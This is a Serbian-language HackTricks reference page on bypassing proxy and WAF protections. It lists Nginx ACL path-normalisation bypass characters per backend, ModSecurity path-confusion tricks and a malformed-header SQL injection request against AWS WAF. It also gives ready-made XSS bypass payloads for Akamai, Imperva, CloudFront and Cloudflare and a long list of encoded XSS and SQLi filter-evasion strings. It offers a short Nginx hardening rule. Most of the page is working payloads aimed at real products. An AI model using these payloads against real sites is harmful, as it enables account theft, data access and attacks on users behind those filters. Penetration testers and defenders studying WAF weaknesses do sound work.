Proxy / WAF Protections Bypass

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Tehnike iz ove studije.

Primer Nginx pravila:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Da bi se sprečili zaobilaženja, Nginx vrši normalizaciju putanje pre nego što je proveri. Međutim, ako backend server vrši drugačiju normalizaciju (uklanjajući karaktere koje nginx ne uklanja), može biti moguće zaobići ovu odbranu.

NodeJS - Express

Nginx VerzijaNode.js Karakteri za zaobilaženje
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VerzijaFlask Karakteri za zaobilaženje
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VerzijaSpring Boot Karakteri za zaobilaženje
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM konfiguracija:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx je podešen da blokira pristup /admin.php, ali je moguće zaobići ovo pristupom /admin.php/index.php.

Kako sprečiti

plaintext
location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

U ovom postu objašnjeno je da ModSecurity v3 (do 3.0.12), nepravilno implementira REQUEST_FILENAME varijablu koja je trebala da sadrži pristupnu putanju (do početka parametara). To je zato što je izvršavao URL dekodiranje da bi dobio putanju.
Zbog toga, zahtev kao što je http://example.com/foo%3f';alert(1);foo= u mod security će pretpostaviti da je putanja samo /foo jer se %3f transformiše u ?, završavajući URL putanju, ali zapravo putanja koju server prima biće /foo%3f';alert(1);foo=.

Varijable REQUEST_BASENAME i PATH_INFO su takođe bile pogođene ovim greškom.

Nešto slično se dogodilo u verziji 2 Mod Security koja je omogućila zaobilaženje zaštite koja je sprečavala korisnike da pristupaju datotekama sa specifičnim ekstenzijama vezanim za rezervne datoteke (kao što su .bak) jednostavno slanjem tačke URL kodirane u %2e, na primer: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

Ova istraživanja pominje da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavlja slanjem "neispravnog" zaglavlja koje nije pravilno analizirano od strane AWS-a, ali jeste od strane backend servera.

Na primer, slanjem sledećeg zahteva sa SQL injekcijom u zaglavlju X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Moguće je bilo zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).

Opšti WAF zaobilaženja

Ograničenja veličine zahteva

Obično WAF-ovi imaju određeno ograničenje dužine zahteva za proveru i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.

Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync8 KB
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**64 KB

Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od 128 KB isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:

Ako je mod prevencije: Zapisuje i blokira zahtev.
Ako je mod detekcije: Pregleda do ograničenja, ignoriše ostatak i zapisuje ako Content-Length premašuje ograničenje.

Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničenje do 128KB dodavanjem naprednih metapodataka.

Do 128KB.

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Kompatibilnost

U zavisnosti od implementacije Unicode normalizacije (više informacija ovde), karakteri koji dele Unicode kompatibilnost mogu biti u mogućnosti da zaobiđu WAF i izvrše se kao predviđeni payload. Kompatibilni karakteri se mogu naći ovde.

Primer

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Kao što je pomenuto u ovom blog postu, da bismo zaobišli WAF-ove koji mogu održavati kontekst korisničkog unosa, mogli bismo zloupotrebiti tehnike WAF-a da zapravo normalizujemo korisnički unos.

Na primer, u postu se pominje da je Akamai URL dekodirao korisnički unos 10 puta. Stoga će nešto poput <input/%2525252525252525253e/onfocus biti viđeno od strane Akamai-a kao <input/>/onfocus što možda misli da je u redu jer je tag zatvoren. Međutim, sve dok aplikacija ne URL dekodira unos 10 puta, žrtva će videti nešto poput <input/%25252525252525253e/onfocus što je i dalje važeće za XSS napad.

Stoga, ovo omogućava da se sakriju payload-i u kodiranim komponentama koje će WAF dekodirati i interpretirati dok žrtva neće.

Štaviše, ovo se može uraditi ne samo sa URL kodiranim payload-ima, već i sa drugim kodiranjima kao što su unicode, hex, octal...

U postu su predloženi sledeći konačni zaobilaženja:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Takođe se pominje da, u zavisnosti od toga kako neki WAF-ovi razumeju kontekst korisničkog unosa, može biti moguće zloupotrebiti to. Predloženi primer u blogu je da Akamai dozvoljava (dozvoljavao) da se stavi bilo šta između /* i */ (potencijalno zato što se ovo često koristi kao komentari). Stoga, SQL injekcija kao što je /*'or sleep(5)-- -*/ neće biti uhvaćena i biće važeća jer je /* početni string injekcije, a */ je komentarisano.

Ove vrste problema sa kontekstom se takođe mogu koristiti za zloupotrebu drugih ranjivosti osim one za koju se očekuje da će biti iskorišćena od strane WAF-a (npr. ovo se takođe može koristiti za iskorišćavanje XSS-a).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Različite tehnike se mogu koristiti za zaobilaženje regex filtera na vatrozidima. Primeri uključuju naizmenično korišćenje velikih i malih slova, dodavanje preloma linija i kodiranje payload-a. Resursi za različita zaobilaženja mogu se naći na PayloadsAllTheThings i OWASP. Primeri u nastavku su preuzeti iz ovog članka.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Alati

  • nowafpls: Burp dodatak za dodavanje bespotrebnih podataka u zahteve kako bi se zaobišli WAF-ovi po dužini

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks